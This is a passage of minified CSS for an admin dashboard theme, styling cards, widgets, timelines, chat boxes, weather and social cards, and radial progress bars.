rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-header{padding:20px 20px;border:0;background:none;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card .card-header h3{margin:0;font-size:18px;font-weight:normal;color:#212121}.card .card-header .card-options a:not(.dropdown-item){width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:33px;color:#212121;display:inline-block;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.card .card-header .card-options span{color:#444;font-size:12px}.card .card-header .card-search{position:relative}.card .card-header .card-search .form-control{padding-right:60px;font-size:14px;max-height:30px;min-height:30px}.card .card-header .card-search .form-control ~ .btn{position:absolute;right:0;top:0;padding:0;width:30px;height:30px;line-height:30px;border-radius:4px;background-color:#eceff1;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-btn{background-color:transparent;border:0;position:absolute;right:30px;top:0;width:30px;height:30px;line-height:30px;padding:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-search-wrap{padding:20px;display:none;position:absolute;left:30px !important;width:100%;top:30px;background-color:#fff;z-index:4;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08);border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .card-header .card-search.with-adv-search .adv-search-wrap .form-control{padding-right:15px}.card .card-header .card-search.with-adv-search .adv-search-wrap .btn{padding:0 15px;font-size:14px;height:30px;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-header .card-search.with-adv-search .adv-search-wrap.show{display:block}.card .card-header.note-toolbar{padding:0 0 5px 5px}.card .card-header .dropdown .checkbox-dropdown{padding:0px;width:16px;height:16px;background-color:#dee2e6;border-radius:.25rem;margin-right:15px}.card .card-body{padding:20px 20px;flex:1 1 auto;position:relative}.card .card-img{height:100%;object-fit:cover;max-height:200px;width:unset;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-img-overlay{background:rgba(0,0,0,0.5);padding:1.75rem;border-radius:4px}.card.icon-card .card-body i{font-size:46px;line-height:66px;color:#212121}.card.icon-card .card-body .card-text{color:#8f8f8f;height:30px;line-height:26px}.card.icon-card .card-body .lead{color:#212121;margin-bottom:0}.card .nav-pills.custom-pills{border-bottom:1px solid #f1f1f1}.card .nav-pills.custom-pills .nav-link{border-radius:0;opacity:.7;font-size:14px;padding:12px 15px}.card .nav-pills.custom-pills .nav-link.active{color:#ef4153;opacity:1;background-color:transparent;border-bottom:2px solid #ef4153}.widget{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;background-color:#fff;overflow:hidden;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.widget .widget-header{padding:10px 20px;border-bottom:1px solid #f5f7f9;position:relative}.widget .widget-header .widget-title{font-size:18px;margin:0}.widget .widget-header .widget-tools{position:absolute;right:10px;top:5px}.widget .widget-header .widget-tools .btn-widget-tool{padding:5px;font-size:16px;background:transparent;color:#97a0b3}.widget .widget-header .widget-tools .btn-widget-tool i{margin:0}.widget .widget-header .widget-tools .btn-widget-tool:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.widget .widget-body{padding:20px 20px}.widget .widget-body h6{margin-bottom:0;font-weight:400}.widget .widget-body h2{margin-bottom:0px;font-weight:600}.widget .widget-body .icon{font-size:37px;color:#9aa0ac}.widget .widget-body .overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.22);text-align:center;z-index:3;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.widget .widget-body .overlay i{font-size:32px;color:#ef4153;margin-bottom:5px}.widget .progress{border-radius:0}.widget[class*=bg-] .widget-header{background-color:rgba(255,255,255,0.2);border-bottom-color:transparent}.widget[class*=bg-] .widget-header .widget-title{color:#fff}.widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool{color:rgba(255,255,255,0.6)}.widget[class*=bg-] .widget-body{color:#fff}.widget[class*=bg-] .widget-body .icon{color:#fff}.widget.social-widget .widget-body{text-align:center}.loading{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.card-group .card:not(:last-child){border-right:1px solid #f1f1f1}.card .card-header{border-bottom:1px solid #f1f1f1}.card .card-header .card-header-right{right:10px;top:16px;display:inline-block;float:right;position:absolute}.card .card-header .card-header-right .card-option{width:35px;height:25px;overflow:hidden;margin:0;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.card .card-header .card-header-right .card-option li{display:inline-block}.card .card-header .card-header-right .card-option li i{margin:0 5px;cursor:pointer;font-size:15px;color:#8c8c8c;line-height:2;font-weight:300}.card .card-block{padding:1.25rem}.card .card-body .icon{font-size:37px;color:#9aa0ac}.card .feeds-widget{padding:0}.card .feeds-widget .feed-item{display:block;padding:12px 15px;border:1px solid #efefef;border-left:0;border-right:0}.card .feeds-widget .feed-item a{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .feeds-widget .feed-item a .feeds-left{width:50px;font-size:30px}.card .feeds-widget .feed-item a .feeds-body{width:100%}.card .feeds-widget .feed-item a .feeds-body h4{font-size:16px;margin:0;font-weight:700;margin-bottom:5px}.card .feeds-widget .feed-item a .feeds-body h4 ~ small{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;width:calc(100% - 60px);font-size:13px;color:#777}.card .feeds-widget .feed-item.feed-item{margin-top:-1px}.card .timeline .header{background-size:cover;color:#fff;position:relative}.card .timeline .header .color-overlay{padding:2em;box-sizing:border-box;background:rgba(123,94,155,0.5);line-height:normal}.card .timeline .header .color-overlay .day-number{font-size:6em;margin-right:15px;display:inline-block;font-weight:700;line-height:1}.card .timeline .header .color-overlay .date-right{display:inline-block}.card .timeline .header .color-overlay .date-right .day-name{font-size:22px}.card .timeline .header .color-overlay .date-right .month{text-transform:uppercase;margin-top:2px}.card .timeline ul{list-style:none;position:relative;padding-left:30px;padding-top:10px;margin:0}.card .timeline ul:before,.card .timeline ul::before{content:' ';height:100%;width:1px;background-color:#f0f0f0;position:absolute;top:0;left:35px;z-index:1}.card .timeline ul li{padding-bottom:15px}.card .timeline ul li .bullet{width:10px;height:10px;display:inline-block;z-index:2;position:relative;vertical-align:top;margin:7px 0;margin-right:5px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .timeline ul li .time{width:20%;font-size:10px;margin:6px 0;vertical-align:top;display:inline-block}.card .timeline ul li .desc{width:65%;display:inline-block}.card .timeline ul li .desc h3{margin:0;font-size:14px;font-weight:700}.card .timeline ul li .desc h4{margin-top:5px;font-size:12px;color:#999}.card .task-list{margin:0;padding:0}.card .task-list li{display:block;padding:15px 0 15px 0;margin:0;cursor:pointer}.card .task-list li:first-child{padding-top:0}.card .task-list li.list span{float:left;margin-top:20px;color:#FF7E39}.card .task-list li.list span:before,.card .task-list li.list span::before{font-size:1.5rem;content:"\e83f";font-family:'iconkit';vertical-align:middle;border:3px solid #FF7E39;padding:4px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .task-list li.list .task-details{margin-left:60px}.card .task-list li.list .task-details p{margin:0;padding:10px 0 6px 0;line-height:140%}.card .task-list li.list .task-details p.date{padding:0;margin:0;font-size:.75rem}.card .task-list li.completed{text-decoration:line-through;color:#8796af;-moz-transition:all 0.3s ease-out;-o-transition:all 0.3s ease-out;-webkit-transition:all 0.3s ease-out;transition:all 0.3s ease-out}.card .task-list li.completed span:before,.card .task-list li.completed span::before{color:#50b924;border:3px solid #50b924}.card .chat-box .chat-list{margin:0;padding:0;list-style:none}.card .chat-box .chat-list .chat-item{list-style:none;margin-top:30px}.card .chat-box .chat-list .chat-item .chat-img{display:inline-block;width:45px;vertical-align:top}.card .chat-box .chat-list .chat-item .chat-img img{width:45px;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%}.card .chat-box .chat-list .chat-item .chat-content{width:calc(100% - 50px);display:inline-block;padding-left:15px}.card .chat-box .chat-list .chat-item .chat-content .box{display:inline-block;padding:10px;margin-bottom:3px;color:#343a40;background:#f6f8f9;border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .chat-box .chat-list .chat-item .chat-time{display:block;font-size:10px;color:#4F5467;margin:5px 0 15px 65px}.card .chat-box .chat-list .chat-item.odd .chat-content{text-align:right;width:calc(100% - 0px)}.card .chat-box .chat-list .chat-item.odd .chat-content .box{clear:both;color:#fff;background:#137eff}.card .chat-box .chat-list .chat-item.odd .chat-time{text-align:right}.card .chat-box .chat-list .chat-item.odd+.odd{margin-top:0}.card .chat-box .chat-list .chat-item:first-child{margin-top:0}.card .chat-footer{position:relative;background-color:#fff}.card .chat-footer .input-wrap{padding-right:50px}.card .chat-footer .btn{position:absolute;top:10px;right:20px;width:35px;height:35px}.card .card-title{font-size:18px}.card .card-subtitle{font-weight:300;margin-bottom:10px;color:#afb5c1}.jvectormap-tip{border:none;font-family:'Nunito Sans', sans-serif;font-weight:700;padding:5px 10px;font-size:11px}.chart-line .ct-grid{stroke-dasharray:0;stroke:rgba(255,255,255,0.5)}.chart-line .ct-point{stroke-width:0}.chart-line .ct-line{stroke:#FFF;stroke-width:3px}.chart-shadow{transition:all 0.3s ease-in-out;filter:drop-shadow(0px 5px 2px rgba(43,43,43,0.2))}.card-blue,.card-green,.card-red,.card-yellow{position:relative;overflow:hidden}.card-blue:after,.card-green:after,.card-red:after,.card-yellow:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;z-index:1}.card-blue .card-block,.card-blue .card-block-big,.card-blue .card-block-small,.card-blue .card-body,.card-blue .card-footer,.card-blue .card-header,.card-green .card-block,.card-green .card-block-big,.card-green .card-block-small,.card-green .card-body,.card-green .card-footer,.card-green .card-header,.card-red .card-block,.card-red .card-block-big,.card-red .card-block-small,.card-red .card-body,.card-red .card-footer,.card-red .card-header,.card-yellow .card-block,.card-yellow .card-block-big,.card-yellow .card-block-small,.card-yellow .card-body,.card-yellow .card-footer,.card-yellow .card-header{position:relative;z-index:5}.card-red::after{background:#f5365c}.card-red .ct-line{stroke:#fff}.card-red .ct-grid{stroke:#f97f97}.card-blue::after{background:#007bff}.card-blue .ct-line{stroke:#fff}.card-blue .ct-grid{stroke:#4da3ff}.card-green::after{background:#2dce89}.card-green .ct-line{stroke:#fff}.card-green .ct-grid{stroke:#69deac}.card-yellow::after{background:#fb6340}.card-yellow .ct-line{stroke:#fff}.card-yellow .ct-grid{stroke:#fda08b}.proj-progress-card .progress{height:6px;overflow:visible;margin-bottom:10px}.proj-progress-card .progress .progress-bar{position:relative}.proj-progress-card .progress .progress-bar:after{content:"";background:#fff;position:absolute;right:-6px;top:-4px;border-radius:50%;width:15px;height:15px}.proj-progress-card .progress .progress-bar.bg-red:after{border:3px solid #f5365c}.proj-progress-card .progress .progress-bar.bg-blue:after{border:3px solid #007bff}.proj-progress-card .progress .progress-bar.bg-green:after{border:3px solid #2dce89}.proj-progress-card .progress .progress-bar.bg-yellow:after{border:3px solid #fb6340}@media only screen and (max-width: 992px){.proj-progress-card h6{margin-top:15px}.proj-progress-card .progress{margin-bottom:30px}}.sos-st-card h3{display:inline-block}.sos-st-card h3 i{color:#fff;font-size:18px;width:60px;height:60px;border-radius:50%;padding:12px 0;text-align:center;margin-right:15px;border:10px solid transparent;transition:all 0.3s ease-in-out}.sos-st-card h5{position:relative}.sos-st-card h5:after{content:"";background:#d2d2d2;position:absolute;top:-20px;right:-15px;width:1px;height:60px}.sos-st-card.facebook h3{color:#3b579d}.sos-st-card.facebook h3 i{background-color:#3b579d;border-color:#869cd2}.sos-st-card.twitter h3{color:#1da1f2}.sos-st-card.twitter h3 i{background-color:#1da1f2;border-color:#96d3f9}.sos-st-card.linkedin h3{color:#0177b4}.sos-st-card.linkedin h3 i{background-color:#0177b4;border-color:#37bafe}.sos-st-card.dribble h3{color:#ea4c89}.sos-st-card.dribble h3 i{background-color:#ea4c89;border-color:#f7bed4}.sos-st-card:hover h3 i{transform:scale(1.2) rotate(35deg)}@media only screen and (max-width: 768px){.sos-st-card h3 i{font-size:16px;width:35px;height:35px;padding:7px 0;margin-right:0;border-width:3px;margin-left:-10px}.sos-st-card h5:after{display:none}}.wather-card{overflow:hidden}.wather-card .wather-card-top{position:relative;overflow:hidden;min-height:200px;background:linear-gradient(to bottom, #7a9af5, rgba(90,179,243,0.5))}.wather-card .wather-card-top .wave{position:absolute;left:0;right:0;top:auto;bottom:0;z-index:1}.wather-card .wather-card-top .wave+.wave{z-index:2}.wather-card .wather-card-top .wave+.wave+.wave{z-index:3}.wather-card .wather-card-top .sun{background:#fff;position:absolute;top:50px;left:50px;width:30px;height:30px;border-radius:50%}.wather-card .wather-card-top .sun:after,.wather-card .wather-card-top .sun:before{content:"";width:100%;height:100%;border-radius:50%;position:absolute;box-shadow:inset 0 0 20px 5px rgba(255,255,255,0.4)}.wather-card .wather-card-top .sun:after{animation:sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .sun:before{animation:sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-star1,.wather-card .wather-card-top .w-star2{position:absolute;top:0;left:0;width:100%}.wather-card .wather-card-top .w-star1{animation:sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.wather-card .wather-card-top .w-star2{animation:sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation-delay:1.15s}.wather-card .wather-card-top .w-cloud{position:absolute;right:30px;top:60px;opacity:0;animation:w-cluod 15s linear infinite}@keyframes w-cluod{0%{opacity:0;transform:translate(0px, 0px)}20%{opacity:0.8;transform:translate(30px, -25px)}40%{opacity:1;transform:translate(0px, 0px)}60%{opacity:0.6;transform:translate(-30px, 25px)}80%{opacity:0.5;transform:translate(0px, 0px)}80%{opacity:0;transform:translate(0px, 0px)}}@keyframes sparcle{0%{opacity:1}50%{opacity:0}}@keyframes sunwawe{0%{transform:scale(1);opacity:1}100%{transform:scale(4);opacity:0}}.comp-card i{color:#fff;width:50px;height:50px;border-radius:5px;text-align:center;padding:17px 0;font-size:18px;text-shadow:0 6px 8px rgba(62,57,107,0.18);transition:all 0.3s ease-in-out}.comp-card:hover i{border-radius:50%}.proj-t-card{position:relative;overflow:hidden}.proj-t-card .pt-badge{color:#fff;margin-bottom:0;display:inline-block;padding:60px 50px 20px 20px;border-radius:50%;position:absolute;top:-45px;right:-35px;transition:all 0.3s ease-in-out;box-shadow:0 5px 7px 0 rgba(62,57,107,0.18)}.proj-t-card:hover .pt-badge{padding:65px 55px 30px 30px;text-shadow:0 3px 5px rgba(62,57,107,0.5);box-shadow:0 4px 4px 0 rgba(62,57,107,0.3)}.prod-p-card i{background-color:#fff;width:40px;height:40px;border-radius:50%;text-align:center;padding:11px 0;font-size:18px;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px rgba(62,57,107,0.2)}.prod-p-card:hover i{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:scale(0.9) translatey(5px)}.ticket-card .lbl-card{box-shadow:0 5px 4px -2px rgba(51,51,51,0.16);border-radius:5px;padding:5px 15px;color:#fff;display:inline-block}.analytic-card .analytic-icon{width:50px;height:50px;text-align:center;padding:17px 0;border-radius:50%;background-color:#fff;transition:all 0.3s ease-in-out;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.analytic-card:hover .analytic-icon{box-shadow:0 4px 4px rgba(62,57,107,0.2);transform:rotate(-15deg) translatey(5px)}.social-res-card .progress{height:6px}.product-progress-card .progress{height:6px}.product-progress-card .pp-cont{padding-left:15px;padding-right:15px;position:relative}.product-progress-card .pp-cont:after{content:"";background:#d2d2d2;width:1px;height:100%;position:absolute;top:0;left:-15px}.product-progress-card .pp-main>div:first-child .pp-cont:after{display:none}@media only screen and (max-width: 992px){.product-progress-card .pp-cont{margin-top:15px;margin-bottom:15px}.product-progress-card .pp-cont:after{display:none}}.social-card h2{text-shadow:0 8px 15px rgba(51,51,51,0.2);transition:all 0.3s ease-in-out}.social-card:hover h2{text-shadow:0 4px 4px rgba(51,51,51,0.2);transform:scale(0.9) translatey(5px)}.user-card{overflow:hidden}.user-card .user-img{border-radius:50%;display:flex;align-items:center;width:80px;height:80px;margin:0 auto;position:relative;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-img h5{margin:0 auto}.user-card .user-img .link-share{position:absolute;padding:4px 0;right:0;bottom:0;border-radius:50%;width:25px;height:25px;background:#fff;color:#666;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-sub-img{position:relative;margin:30px 0 10px;padding-top:30px}.user-card .user-sub-img>img{width:30px;cursor:pointer;margin:5px}.user-card .user-sub-img:after{content:"";width:30px;height:1px;background:#2b2b2b;position:absolute;top:0;right:calc(50% - 15px)}.user-card .f-btn{cursor:pointer;transition:all 0.3s ease-in-out}.user-card .f-btn a{transition:all 0.3s ease-in-out}.user-card .f-btn:hover{background-color:#99caff;box-shadow:inset 0 5px 7px -3px rgba(43,43,43,0.15)}.user-card .f-btn:hover a{color:#007bff}.soc-cont-card{color:#fff;position:relative;overflow:hidden}.soc-cont-card .soc-slider{margin-right:85px}.soc-cont-card .soc-cont-icon{color:#fff;font-size:50px;width:100px;text-align:center;position:absolute;right:0;top:20px}.soc-cont-card .num-block{background:#fff;color:#ef4153;padding:8px 15px;display:inline-block;margin:5px 0 10px;border-radius:5px;box-shadow:inset 0 1px 3px -1px rgba(43,43,43,0.25)}.soc-cont-card .num-block+.num-block{margin-left:15px}.soc-cont-card .num-block i{font-size:16px;opacity:1}.soc-cont-card .card-block{margin-bottom:20px;padding-bottom:10px}.soc-cont-card:after{content:"";background:rgba(255,255,255,0.5);height:20px;width:100%;position:absolute;bottom:0;left:0}@media only screen and (max-width: 575px){.soc-cont-card .soc-slider{margin-right:0}.soc-cont-card .soc-cont-icon{font-size:40px;width:50px;top:auto;bottom:35px}}.st-cir-card{position:relative;overflow:hidden}.st-cir-card .st-bt-lbl{font-size:60px;font-weight:700;opacity:0.3;position:absolute;bottom:-30px;right:-5px}.st-cir-card .st-cir-chart{position:relative}.st-cir-card .st-cir-chart h5{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.st-cir-card .ct-series-a .ct-slice-donut{stroke:#fff}.st-cir-card.card-red .ct-series-b path{stroke:#fa97ab}.st-cir-card.card-blue .ct-series-b path{stroke:#66b0ff}.st-cir-card.card-green .ct-series-b path{stroke:#7ee3b8}.st-cir-card.card-yellow .ct-series-b path{stroke:#fdb5a4}.prod-bar-card .pbc-chart{width:50px;margin:0 auto 10px}.prod-bar-card .radial-bar:after{box-shadow:0 0 3px #fff}.sale-card .s-chart{position:relative}.sale-card .s-chart .bottom-line{background:#ccc;position:absolute;width:80px;height:3px;bottom:30px;left:50%;transform:translatex(-50%)}.sale-card .radial-bar{margin:15px 0 35px}.sale-card .radial-bar>img{box-shadow:0 0 0 8px #fff}.sale-card .s-caption{width:20px;height:20px;border-radius:5px;display:inline-block;vertical-align:super;margin-right:5px}.sale-card .progress{height:5px}.sale-card .tot-rev-chart{position:relative;margin:0 auto}.sale-card .tot-rev-chart .ct-series-b path{stroke:#fff}.sale-card .tot-rev-chart .ct-series-a .ct-slice-donut{stroke:#fb6340}.sale-card .tot-rev-chart h3{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.new-cust-card img{border:2px solid #fff;box-shadow:0 5px 10px 0 rgba(43,43,43,0.2)}.new-cust-card h6{margin-bottom:0}.new-cust-card .align-middle{position:relative}.new-cust-card .align-middle .status{position:absolute;right:0;top:19px;font-size:13px}.new-cust-card .align-middle .status.active{width:10px;height:10px;border-radius:50%;background:#2dce89}.table-card .card-block{padding-left:0;padding-right:0;padding-top:0}.table-card .card-block .table>thead>tr>th{border-top:0}.table-card .card-block .table tr td:first-child,.table-card .card-block .table tr th:first-child{padding-left:20px}.table-card .card-block .table tr td:last-child,.table-card .card-block .table tr th:last-child{padding-right:20px}.table-card .card-block .table.without-header tr:first-child td{border-top:none}.table-card .p-status{width:10px;height:10px;border-radius:50%}.latest-update-card .card-block{padding-top:0}.latest-update-card .card-block .latest-update-box{position:relative}.latest-update-card .card-block .latest-update-box:after{content:"";position:absolute;background:#ebebeb;height:100%;width:3px;top:0;left:19px;z-index:1}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2}.latest-update-card .card-block .latest-update-box .update-meta .update-icon{width:30px;height:30px;border-radius:50%;text-align:center;padding:7px 8px;font-size:16px;color:#fff}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red{box-shadow:0 0 0 4px rgba(245,54,92,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue{box-shadow:0 0 0 4px rgba(0,123,255,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green{box-shadow:0 0 0 4px rgba(45,206,137,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow{box-shadow:0 0 0 4px rgba(251,99,64,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring{border-width:3px;width:15px;height:15px;padding:0;display:block;margin-left:13px;background:#fff}.latest-update-card .card-block .latest-update-box .update-meta i.update-icon{margin-left:4px;margin-right:19px}.latest-update-card .card-block .latest-update-box .update-meta img.update-icon{padding:0;width:40px;height:40px}@media only screen and (max-width: 575px){.latest-update-card .card-block .latest-update-box:after{display:none}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2;min-width:100%;text-align:left !important;margin-bottom:15px;border-top:1px solid #f1f1f1;padding-top:15px}}.testimonial-card .progress{height:5px}.testimonial-card .review-block .cust-img{width:50px;height:50px}.testimonial-card .review-block>div{padding-top:15px;padding-bottom:15px;margin-left:0;margin-right:0;padding-left:5px;padding-right:5px}.testimonial-card .review-block>div:hover{background-color:rgba(0,123,255,0.1)}.feed-card h6{margin-top:7px}.feed-card .feed-icon{color:#fff;border-radius:50%;width:30px;height:30px;text-align:center;padding:8px 9px}.chat-card .msg{margin-bottom:5px;display:inline-block;padding:10px;position:relative}.chat-card .msg img{width:60px;border-radius:5px;margin-bottom:5px;margin-top:5px;margin-right:10px}.chat-card .received-chat .msg{background:rgba(0,123,255,0.1);border-radius:0 5px 5px 5px;box-shadow:2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .received-chat .msg:after{content:"";position:absolute;left:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-bottom-color:rgba(0,123,255,0.1)}.chat-card .send-chat{text-align:right}.chat-card .send-chat .msg{background:rgba(45,206,137,0.1);border-radius:5px 0 5px 5px;box-shadow:-2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .send-chat .msg:after{content:"";position:absolute;right:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-right-color:rgba(45,206,137,0.1)}.radial-bar{position:relative;display:inline-block;border-radius:50%;background-color:transparent;margin-bottom:20px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;width:80px;height:80px;font-size:18px}.radial-bar:after,.radial-bar>img{display:inline-block;position:absolute;top:0;left:0;border-radius:50%;text-align:center;font-weight:500;color:#455a64}.radial-bar:after{content:attr(data-label);background-color:#fff;z-index:55}.radial-bar>img{z-index:102}.radial-bar:after,.radial-bar>img{width:56px;height:56px;margin-left:12px;margin-top:12px;line-height:56px}.radial-bar.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, 